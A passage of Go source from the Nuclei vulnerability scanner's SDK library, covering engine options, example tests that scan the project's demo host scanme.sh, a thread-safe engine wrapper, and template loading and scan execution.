{\n\t\tDefaultConfig.DisableUpdateCheck()\n\t\treturn nil\n\t}\n}\n\n// WithResumeFile allows setting a resume file\nfunc WithResumeFile(file string) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.Resume = file\n\t\treturn nil\n\t}\n}\n\n// WithLogger allows setting a shared gologger instance\nfunc WithLogger(logger *gologger.Logger) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.Logger = logger\n\t\tif e.opts != nil {\n\t\t\te.opts.Logger = logger\n\t\t}\n\t\tif e.executerOpts != nil {\n\t\t\te.executerOpts.Logger = logger\n\t\t}\n\t\treturn nil\n\t}\n}\n\n// WithOptions sets all options at once\nfunc WithOptions(opts *pkgtypes.Options) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts = opts\n\t\treturn nil\n\t}\n}\n\n// WithTemporaryDirectory allows setting a parent directory for SDK-managed temporary files.\n// A temporary directory will be created inside the provided directory and cleaned up on engine close.\n// If not set, a temporary directory will be automatically created in the system temp location.\n// The parent directory is assumed to exist.\nfunc WithTemporaryDirectory(parentDir string) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\ttmpDir, err := os.MkdirTemp(parentDir, \"nuclei-tmp-*\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\te.tmpDir = tmpDir\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "lib/example_test.go",
    "content": "//go:build !race\n\npackage nuclei_test\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/kitabisa/go-ci\"\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n\t\"github.com/remeh/sizedwaitgroup\"\n)\n\n// A very simple example on how to use nuclei engine\nfunc ExampleNucleiEngine() {\n\t// create nuclei engine with options\n\tne, err := nuclei.NewNucleiEngine(\n\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{IDs: []string{\"self-signed-ssl\"}}), // only run self-signed-ssl template\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// load targets and optionally probe non http/https targets\n\tne.LoadTargets([]string{\"scanme.sh\"}, false)\n\t// when callback is nil it nuclei will print JSON output to stdout\n\terr = ne.ExecuteWithCallback(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer ne.Close()\n\n\t// Output:\n\t// [self-signed-ssl] scanme.sh:443\n}\n\nfunc ExampleThreadSafeNucleiEngine() {\n\t// create nuclei engine with options\n\tne, err := nuclei.NewThreadSafeNucleiEngine()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// setup sizedWaitgroup to handle concurrency\n\t// here we are using sizedWaitgroup to limit concurrency to 1\n\t// but can be anything in general\n\tsg := sizedwaitgroup.New(1)\n\n\t// scan 1 = run dns templates on scanme.sh\n\tsg.Add()\n\tgo func() {\n\t\tdefer sg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"scanme.sh\"},\n\t\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{IDs: []string{\"nameserver-fingerprint\"}}), // only run self-signed-ssl template\n\t\t)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\t// scan 2 = run dns templates on honey.scanme.sh\n\tsg.Add()\n\tgo func() {\n\t\tdefer sg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"honey.scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\t// wait for all scans to finish\n\tsg.Wait()\n\tdefer ne.Close()\n\n\t// Output:\n\t// [nameserver-fingerprint] scanme.sh\n\t// [caa-fingerprint] honey.scanme.sh\n}\n\nfunc TestMain(m *testing.M) {\n\t// this file only contains testtables examples https://go.dev/blog/examples\n\t// and actual functionality test are in sdk_test.go\n\tif ci.IsCI() {\n\t\t// no need to run this test on github actions\n\t\treturn\n\t}\n\n\tos.Exit(m.Run())\n}\n"
  },
  {
    "path": "lib/helper.go",
    "content": "package nuclei\n\nimport (\n\t\"context\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tuncoverNuclei \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/uncover\"\n)\n\n// helper.go file proxy execution of all nuclei functions that are nested deep inside multiple packages\n// but are helpful / useful while using nuclei as a library\n\n// GetTargetsFromUncover returns targets from uncover in given format .\n// supported formats are any string with [ip,host,port,url] placeholders\nfunc GetTargetsFromUncover(ctx context.Context, outputFormat string, opts *uncover.Options) (chan string, error) {\n\treturn uncoverNuclei.GetTargetsFromUncover(ctx, outputFormat, opts)\n}\n\n// GetTargetsFromTemplateMetadata returns all targets by querying engine metadata (ex: fofo-query,shodan-query) etc from given templates .\n// supported formats are any string with [ip,host,port,url] placeholders\nfunc GetTargetsFromTemplateMetadata(ctx context.Context, templates []*templates.Template, outputFormat string, opts *uncover.Options) chan string {\n\treturn uncoverNuclei.GetUncoverTargetsFromMetadata(ctx, templates, outputFormat, opts)\n}\n\n// DefaultConfig is instance of default nuclei configs\n// any mutations to this config will be reflected in all nuclei instances (saves some config to disk)\nvar DefaultConfig *config.Config\n\nfunc init() {\n\tDefaultConfig = config.DefaultConfig\n}\n"
  },
  {
    "path": "lib/multi.go",
    "content": "package nuclei\n\nimport (\n\t\"context\"\n\t\"time\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// unsafeOptions are those nuclei objects/instances/types\n// that are required to run nuclei engine but are not thread safe\n// hence they are ephemeral and are created on every ExecuteNucleiWithOpts invocation\n// in ThreadSafeNucleiEngine\ntype unsafeOptions struct {\n\texecuterOpts *protocols.ExecutorOptions\n\tengine       *core.Engine\n}\n\n// createEphemeralObjects creates ephemeral nuclei objects/instances/types\nfunc createEphemeralObjects(ctx context.Context, base *NucleiEngine, opts *types.Options) (*unsafeOptions, error) {\n\tu := &unsafeOptions{}\n\tu.executerOpts = &protocols.ExecutorOptions{\n\t\tOutput:          base.customWriter,\n\t\tOptions:         opts,\n\t\tProgress:        base.customProgress,\n\t\tCatalog:         base.catalog,\n\t\tIssuesClient:    base.rc,\n\t\tRateLimiter:     base.rateLimiter,\n\t\tInteractsh:      base.interactshClient,\n\t\tHostErrorsCache: base.hostErrCache,\n\t\tColorizer:       aurora.NewAurora(true),\n\t\tResumeCfg:       types.NewResumeCfg(),\n\t\tParser:          base.parser,\n\t\tBrowser:         base.browserInstance,\n\t}\n\tif opts.ShouldUseHostError() && base.hostErrCache != nil {\n\t\tu.executerOpts.HostErrorsCache = base.hostErrCache\n\t}\n\tif opts.RateLimitMinute > 0 {\n\t\topts.RateLimit = opts.RateLimitMinute\n\t\topts.RateLimitDuration = time.Minute\n\t}\n\tif opts.RateLimit > 0 && opts.RateLimitDuration == 0 {\n\t\topts.RateLimitDuration = time.Second\n\t}\n\tu.executerOpts.RateLimiter = utils.GetRateLimiter(ctx, opts.RateLimit, opts.RateLimitDuration)\n\tu.engine = core.New(opts)\n\tu.engine.SetExecuterOptions(u.executerOpts)\n\treturn u, nil\n}\n\n// closeEphemeralObjects closes all resources used by ephemeral nuclei objects/instances/types\nfunc closeEphemeralObjects(u *unsafeOptions) {\n\tif u.executerOpts.RateLimiter != nil {\n\t\tu.executerOpts.RateLimiter.Stop()\n\t}\n\t// dereference all objects that were inherited from base nuclei engine\n\t// since these are meant to be closed globally by base nuclei engine\n\tu.executerOpts.Output = nil\n\tu.executerOpts.IssuesClient = nil\n\tu.executerOpts.Interactsh = nil\n\tu.executerOpts.HostErrorsCache = nil\n\tu.executerOpts.Progress = nil\n\tu.executerOpts.Catalog = nil\n\tu.executerOpts.Parser = nil\n}\n\n// ThreadSafeNucleiEngine is a tweaked version of nuclei.Engine whose methods are thread-safe\n// and can be used concurrently. Non-thread-safe methods start with Global prefix\ntype ThreadSafeNucleiEngine struct {\n\teng *NucleiEngine\n}\n\n// NewThreadSafeNucleiEngine creates a new nuclei engine with given options\n// whose methods are thread-safe and can be used concurrently\n// Note: Non-thread-safe methods start with Global prefix\nfunc NewThreadSafeNucleiEngineCtx(ctx context.Context, opts ...NucleiSDKOptions) (*ThreadSafeNucleiEngine, error) {\n\tdefaultOptions := types.DefaultOptions()\n\te := &NucleiEngine{\n\t\topts:   defaultOptions,\n\t\tmode:   threadSafe,\n\t\tctx:    ctx,\n\t\tLogger: defaultOptions.Logger,\n\t}\n\tfor _, option := range opts {\n\t\tif err := option(e); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err := e.init(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ThreadSafeNucleiEngine{eng: e}, nil\n}\n\n// Deprecated: use NewThreadSafeNucleiEngineCtx instead\nfunc NewThreadSafeNucleiEngine(opts ...NucleiSDKOptions) (*ThreadSafeNucleiEngine, error) {\n\treturn NewThreadSafeNucleiEngineCtx(context.Background(), opts...)\n}\n\n// GlobalLoadAllTemplates loads all templates from nuclei-templates repo\n// This method will load all templates based on filters given at the time of nuclei engine creation in opts\nfunc (e *ThreadSafeNucleiEngine) GlobalLoadAllTemplates() error {\n\treturn e.eng.LoadAllTemplates()\n}\n\n// GlobalResultCallback sets a callback function which will be called for each result\nfunc (e *ThreadSafeNucleiEngine) GlobalResultCallback(callback func(event *output.ResultEvent)) {\n\te.eng.resultCallbacks = []func(*output.ResultEvent){callback}\n}\n\n// ExecuteNucleiWithOptsCtx executes templates on targets and calls callback on each result(only if results are found)\n// This method can be called concurrently and it will use some global resources but can be run parallelly\n// by invoking this method with different options and targets\n// Note: Not all options are thread-safe. this method will throw error if you try to use non-thread-safe options\nfunc (e *ThreadSafeNucleiEngine) ExecuteNucleiWithOptsCtx(ctx context.Context, targets []string, opts ...NucleiSDKOptions) error {\n\tbaseOpts := e.eng.opts.Copy()\n\ttmpEngine := &NucleiEngine{opts: baseOpts, mode: threadSafe}\n\tfor _, option := range opts {\n\t\tif err := option(tmpEngine); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// create ephemeral nuclei objects/instances/types using base nuclei engine\n\tunsafeOpts, err := createEphemeralObjects(ctx, e.eng, tmpEngine.opts)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// cleanup and stop all resources\n\tdefer closeEphemeralObjects(unsafeOpts)\n\n\t// load templates\n\tworkflowLoader, err := workflow.NewLoader(unsafeOpts.executerOpts)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not create workflow loader: %s\", err)\n\t}\n\tunsafeOpts.executerOpts.WorkflowLoader = workflowLoader\n\n\tstore, err := loader.New(loader.NewConfig(tmpEngine.opts, e.eng.catalog, unsafeOpts.executerOpts))\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not create loader client: %s\", err)\n\t}\n\tif err := store.Load(); err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not load templates: %s\", err)\n\t}\n\n\tinputProvider := provider.NewSimpleInputProviderWithUrls(e.eng.opts.ExecutionId, targets...)\n\n\tif len(store.Templates()) == 0 && len(store.Workflows()) == 0 {\n\t\treturn ErrNoTemplatesAvailable\n\t}\n\tif inputProvider.Count() == 0 {\n\t\treturn ErrNoTargetsAvailable\n\t}\n\n\tengine := core.New(tmpEngine.opts)\n\tengine.SetExecuterOptions(unsafeOpts.executerOpts)\n\n\t_ = engine.ExecuteScanWithOpts(ctx, store.Templates(), inputProvider, false)\n\n\tengine.WorkPool().Wait()\n\treturn nil\n}\n\n// ExecuteNucleiWithOpts is same as ExecuteNucleiWithOptsCtx but with default context\n// This is a placeholder and will be deprecated in future major release\nfunc (e *ThreadSafeNucleiEngine) ExecuteNucleiWithOpts(targets []string, opts ...NucleiSDKOptions) error {\n\treturn e.ExecuteNucleiWithOptsCtx(context.Background(), targets, opts...)\n}\n\n// Close all resources used by nuclei engine\nfunc (e *ThreadSafeNucleiEngine) Close() {\n\te.eng.Close()\n}\n"
  },
  {
    "path": "lib/sdk.go",
    "content": "package nuclei\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"io\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\tproviderTypes \"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// NucleiSDKOptions contains options for nuclei SDK\ntype NucleiSDKOptions func(e *NucleiEngine) error\n\nvar (\n\t// ErrNotImplemented is returned when a feature is not implemented\n\tErrNotImplemented = errkit.New(\"Not implemented\")\n\t// ErrNoTemplatesAvailable is returned when no templates are available to execute\n\tErrNoTemplatesAvailable = errkit.New(\"No templates available\")\n\t// ErrNoTargetsAvailable is returned when no targets are available to scan\n\tErrNoTargetsAvailable = errkit.New(\"No targets available\")\n\t// ErrOptionsNotSupported is returned when an option is not supported in thread safe mode\n\tErrOptionsNotSupported = errkit.New(\"Option not supported in thread safe mode\")\n)\n\ntype engineMode uint\n\nconst (\n\tsingleInstance engineMode = iota\n\tthreadSafe\n)\n\n// NucleiEngine is the Engine/Client for nuclei which\n// runs scans using templates and returns results\ntype NucleiEngine struct {\n\t// user options\n\tresultCallbacks             []func(event *output.ResultEvent)\n\tonFailureCallback           func(event *output.InternalEvent)\n\tdisableTemplatesAutoUpgrade bool\n\tenableStats                 bool\n\tonUpdateAvailableCallback   func(newVersion string)\n\n\t// ready-status fields\n\ttemplatesLoaded bool\n\n\t// unexported core fields\n\tctx              context.Context\n\tinteractshClient *interactsh.Client\n\tcatalog          catalog.Catalog\n\trateLimiter      *ratelimit.Limiter\n\tstore            *loader.Store\n\thttpxClient      providerTypes.InputLivenessProbe\n\tinputProvider    provider.InputProvider\n\tengine           *core.Engine\n\tmode             engineMode\n\tbrowserInstance  *engine.Browser\n\thttpClient       *retryablehttp.Client\n\tparser           *templates.Parser\n\tauthprovider     authprovider.AuthProvider\n\n\t// unexported meta options\n\topts           *types.Options\n\tinteractshOpts *interactsh.Options\n\thostErrCache   *hosterrorscache.Cache\n\tcustomWriter   output.Writer\n\tcustomProgress progress.Progress\n\trc             reporting.Client\n\texecuterOpts   *protocols.ExecutorOptions\n\n\t// Logger instance for the engine\n\tLogger *gologger.Logger\n\n\t// Temporary directory for SDK-managed template files\n\ttmpDir string\n}\n\n// LoadAllTemplates loads all nuclei template based on given options\nfunc (e *NucleiEngine) LoadAllTemplates() error {\n\tworkflowLoader, err := workflow.NewLoader(e.executerOpts)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not create workflow loader: %s\", err)\n\t}\n\te.executerOpts.WorkflowLoader = workflowLoader\n\n\te.store, err = loader.New(loader.NewConfig(e.opts, e.catalog, e.executerOpts))\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not create loader client: %s\", err)\n\t}\n\tif err := e.store.Load(); err != nil {\n\t\treturn errkit.Wrapf(err, \"Could not load templates: %s\", err)\n\t}\n\te.templatesLoaded = true\n\treturn nil\n}\n\n// GetTemplates returns all nuclei templates that are loaded\nfunc (e *NucleiEngine) GetTemplates() []*templates.Template {\n\tif !e.templatesLoaded {\n\t\t_ = e.LoadAllTemplates()\n\t}\n\treturn e.store.Templates()\n}\n\n// GetWorkflows returns all nuclei workflows that are loaded\nfunc (e *NucleiEngine) GetWorkflows() []*templates.Template {\n\tif !e.templatesLoaded {\n\t\t_ = e.LoadAllTemplates()\n\t}\n\treturn e.store.Workflows()\n}\n\n// LoadTargets(urls/domains/ips only) adds targets to the nuclei engine\nfunc (e *NucleiEngine) LoadTargets(targets []string, probeNonHttp bool) {\n\tfor _, target := range targets {\n\t\tif probeNonHttp {\n\t\t\t_ = e.inputProvider.SetWithProbe(e.opts.ExecutionId, target, e.httpxClient)\n\t\t} else {\n\t\t\te.inputProvider.Set(e.opts.ExecutionId, target)\n\t\t}\n\t}\n}\n\n// LoadTargetsFromReader adds targets(urls/domains/ips only) from reader to the nuclei engine\nfunc (e *NucleiEngine) LoadTargetsFromReader(reader io.Reader, probeNonHttp bool) {\n\tbuff := bufio.NewScanner(reader)\n\tfor buff.Scan() {\n\t\tif probeNonHttp {\n\t\t\t_ = e.inputProvider.SetWithProbe(e.opts.ExecutionId, buff.Text(), e.httpxClient)\n\t\t} else {\n\t\t\te.inputProvider.Set(e.opts.ExecutionId, buff.Text())\n\t\t}\n\t}\n}\n\n// LoadTargetsWithHttpData loads targets that contain http data from file it currently supports\n// multiple formats like burp xml,openapi,swagger,proxify json\n// Note: this is mutually exclusive with LoadTargets and LoadTargetsFromReader\nfunc (e *NucleiEngine) LoadTargetsWithHttpData(filePath string, filemode string) error {\n\te.opts.TargetsFilePath = filePath\n\te.opts.InputFileMode = filemode\n\thttpProvider, err := provider.NewInputProvider(provider.InputOptions{Options: e.opts})\n\tif err != nil {\n\t\te.opts.TargetsFilePath = \"\"\n\t\te.opts.InputFileMode = \"\"\n\t\treturn err\n\t}\n\te.inputProvider = httpProvider\n\treturn nil\n}\n\n// GetExecuterOptions returns the nuclei executor options\nfunc (e *NucleiEngine) GetExecuterOptions() *protocols.ExecutorOptions {\n\treturn e.executerOpts\n}\n\n// ParseTemplate parses a template from given data\n// template verification status can be accessed from template.Verified\nfunc (e *NucleiEngine) ParseTemplate(data []byte) (*templates.Template, error) {\n\treturn templates.ParseTemplateFromReader(bytes.NewReader(data), nil, e.executerOpts)\n}\n\n// SignTemplate signs the tempalate using given signer\nfunc (e *NucleiEngine) SignTemplate(tmplSigner *signer.TemplateSigner, data []byte) ([]byte, error) {\n\ttmpl, err := e.ParseTemplate(data)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\tif tmpl.Verified {\n\t\t// already signed\n\t\treturn data, nil\n\t}\n\tif len(tmpl.Workflows) > 0 {\n\t\treturn data, templates.ErrNotATemplate\n\t}\n\tsignatureData, err := tmplSigner.Sign(data, tmpl)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\t_, content := signer.ExtractSignatureAndContent(data)\n\tbuff := bytes.NewBuffer(content)\n\tbuff.WriteString(\"\\n\" + signatureData)\n\treturn buff.Bytes(), err\n}\n\nfunc (e *NucleiEngine) closeInternal() {\n\tif e.interactshClient != nil {\n\t\te.interactshClient.Close()\n\t}\n\tif e.rc != nil {\n\t\te.rc.Close()\n\t}\n\tif e.customWriter != nil {\n\t\te.customWriter.Close()\n\t}\n\tif e.customProgress != nil {\n\t\te.customProgress.Stop()\n\t}\n\tif e.hostErrCache != nil {\n\t\te.hostErrCache.Close()\n\t}\n\tif e.executerOpts.RateLimiter != nil {\n\t\te.executerOpts.RateLimiter.Stop()\n\t}\n\tif e.rateLimiter != nil {\n\t\te.rateLimiter.Stop()\n\t}\n\tif e.inputProvider != nil {\n\t\te.inputProvider.Close()\n\t}\n\tif e.browserInstance != nil {\n\t\te.browserInstance.Close()\n\t}\n\tif e.httpxClient != nil {\n\t\t_ = e.httpxClient.Close()\n\t}\n\tif e.tmpDir != \"\" {\n\t\t_ = os.RemoveAll(e.tmpDir)\n\t}\n\tif e.opts != nil {\n\t\tgenerators.ClearOptionsPayloadMap(e.opts)\n\t}\n}\n\n// Close all resources used by nuclei engine\nfunc (e *NucleiEngine) Close() {\n\te.closeInternal()\n\tprotocolinit.Close(e.opts.ExecutionId)\n}\n\n// ExecuteCallbackWithCtx executes templates on targets and calls callback on each result(only if results are found)\n// enable matcher-status option if you expect this callback to be called for all results regardless if it matched or not\nfunc (e *NucleiEngine) ExecuteCallbackWithCtx(ctx context.Context, callback ...func(event *output.ResultEvent)) error {\n\tif !e.templatesLoaded {\n\t\t_ = e.LoadAllTemplates()\n\t}\n\tif len(e.store.Templates()) == 0 && len(e.store.Workflows()) == 0 {\n\t\treturn ErrNoTemplatesAvailable\n\t}\n\tif e.inputProvider.Count() == 0 {\n\t\treturn ErrNoTargetsAvailable\n\t}\n\n\tfiltered := []func(event *output.ResultEvent){}\n\tfor _, cb := range callback {\n\t\tif cb != nil {\n\t\t\tfiltered = append(filtered, cb)\n\t\t}\n\t}\n\te.resultCallbacks = append(e.resultCallbacks, filtered...)\n\n\ttemplatesAndWorkflows := append(e.store.Templates(), e.store.Workflows()...)\n\tif len(templatesAndWorkflows) == 0 {\n\t\treturn ErrNoTemplatesAvailable\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\t_ = e.engine.ExecuteScanWithOpts(ctx, templatesAndWorkflows, e.inputProvider, false)\n\t}()\n\n\t// wait for context to be cancelled\n\tselect {\n\tcase <-ctx.Done():\n\t\t<-wait(&wg) // wait for scan to finish\n\t\treturn ctx.Err()\n\tcase <-wait(&wg):\n\t\t// scan finished\n\t}\n\treturn nil\n}\n\n// ExecuteWithCallback is same as ExecuteCallbackWithCtx but with default context\n// Note this is deprecated and will be removed in future major release\nfunc (e *NucleiEngine) ExecuteWithCallback(callback ...func(event *output.ResultEvent)) error {\n\tctx := context.Background()\n\tif e.ctx != nil {\n\t\tctx = e.ctx\n\t}\n\treturn e.ExecuteCallbackWithCtx(ctx, callback...)\n}\n\n// Options return nuclei Type Options\nfunc (e *NucleiEngine) Options() *types.Options {\n\treturn e.opts\n}\n\n// Engine returns core Executer of nuclei\nfunc (e *NucleiEngine) Engine() *core.Engine {\n\treturn e.engine\n}\n\n// Store returns store of nuclei\nfunc (e *NucleiEngine) Store() *loader.Store {\n\treturn e.store\n}\n\n// NewNucleiEngineCtx creates a new nuclei engine instance with given context\nfunc NewNucleiEngineCtx(ctx context.Context, options ...NucleiSDKOptions) (*NucleiEngine, error) {\n\t// default options\n\tdefaultOptions := types.DefaultOptions()\n\te := &NucleiEngine{\n\t\topts:   defaultOptions,\n\t\tmode:   singleInstance,\n\t\tctx:    ctx,\n\t\tLogger: defaultOptions.Logger,\n\t}\n\tfor _, option := range options {\n\t\tif err := option(e); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err := e.init(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn e, nil\n}\n\n// Deprecated: use NewNucleiEngineCtx instead\nfunc NewNucleiEngine(options ...NucleiSDKOptions) (*NucleiEngine, error) {\n\treturn NewNucleiEngineCtx(context.Background(), options...)\n}\n\n// GetParser returns the template parser with cache\nfunc (e *NucleiEngine) GetParser() *templates.Parser {\n\treturn e.parser\n}\n\n// wait for a waitgroup to finish\nfunc wait(wg *sync.WaitGroup) <-chan struct{} {\n\tch := make(chan struct{})\n\tgo func() {\n\t\tdefer close(ch)\n\t\twg.Wait()\n\t}()\n\treturn ch\n}\n\n// GetClusterTemplateIDs returns the template IDs for a given cluster ID\n// Returns nil if the cluster ID doesn't exist or engine hasn't executed yet\nfunc (e *NucleiEngine) GetClusterTemplateIDs(clusterID string) []string {\n\tif e.executerOpts == nil || e.executerOpts.ClusterMappings == nil {\n\t\treturn nil\n\t}\n\ttemplateIDs, ok := e.executerOpts.ClusterMappings.Get(clusterID)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn templateIDs\n}\n\n// GetAllClusterMappings returns all cluster mappings\n// Returns nil if engine hasn't executed yet\nfunc (e *NucleiEngine) GetAllClusterMappings() map[string][]string {\n\tif e.executerOpts == nil || e.executerOpts.ClusterMappings == nil {\n\t\treturn nil\n\t}\n\n\treturn e.executerOpts.ClusterMappings.GetAll()\n}\n"
  },
  {
    "path": "lib/sdk_private.go",
    "content": "package nuclei\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/httpx/common/httpx\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/runner\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/installer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tnucleiUtils \"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/ratelimit\"\n)\n\n// applyRequiredDefaults to options\nfunc (e *NucleiEngine) applyRequiredDefaults(ctx context.Context) {\n\tmockoutput := testutils.NewMockOutputWriter(e.opts.OmitTemplate)\n\tmockoutput.WriteCallback = func(event *output.ResultEvent) {\n\t\tif len(e.resultCallbacks) > 0 {\n\t\t\tfor _, callback := range e.resultCallbacks {\n\t\t\t\tif callback != nil {\n\t\t\t\t\tcallback(event)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tsb := strings.Builder{}\n\t\tfmt.Fprintf(&sb, \"[%v] \", event.TemplateID)\n\t\tif event.Matched != \"\" {\n\t\t\tsb.WriteString(event.Matched)\n\t\t} else {\n\t\t\tsb.WriteString(event.Host)\n\t\t}\n\t\tfmt.Println(sb.String())\n\t}\n\tif e.onFailureCallback != nil {\n\t\tmockoutput.FailureCallback = e.onFailureCallback\n\t}\n\n\tif e.customWriter != nil {\n\t\te.customWriter = output.NewMultiWriter(e.customWriter, mockoutput)\n\t} else {\n\t\te.customWriter = mockoutput\n\t}\n\n\tif e.customProgress == nil {\n\t\te.customProgress = &testutils.MockProgressClient{}\n\t}\n\tif e.hostErrCache == nil && e.opts.ShouldUseHostError() {\n\t\te.hostErrCache = hosterrorscache.New(30, hosterrorscache.DefaultMaxHostsCount, nil)\n\t}\n\t// setup interactsh\n\tif e.interactshOpts != nil {\n\t\te.interactshOpts.Output = e.customWriter\n\t\te.interactshOpts.Progress = e.customProgress\n\t} else {\n\t\te.interactshOpts = interactsh.DefaultOptions(e.customWriter, e.rc, e.customProgress)\n\t}\n\tif e.rateLimiter == nil {\n\t\te.rateLimiter = ratelimit.New(ctx, 150, time.Second)\n\t}\n\tif e.opts.ExcludeTags == nil {\n\t\te.opts.ExcludeTags = []string{}\n\t}\n\t// these templates are known to have weak matchers\n\t// and idea is to disable them to avoid false positives\n\te.opts.ExcludeTags = append(e.opts.ExcludeTags, config.ReadIgnoreFile().Tags...)\n\n\te.inputProvider = provider.NewSimpleInputProvider()\n}\n\n// init\nfunc (e *NucleiEngine) init(ctx context.Context) error {\n\t// Update logger ref (if it was changed by [WithLogger])\n\t// (Logger is already initialized)\n\tif 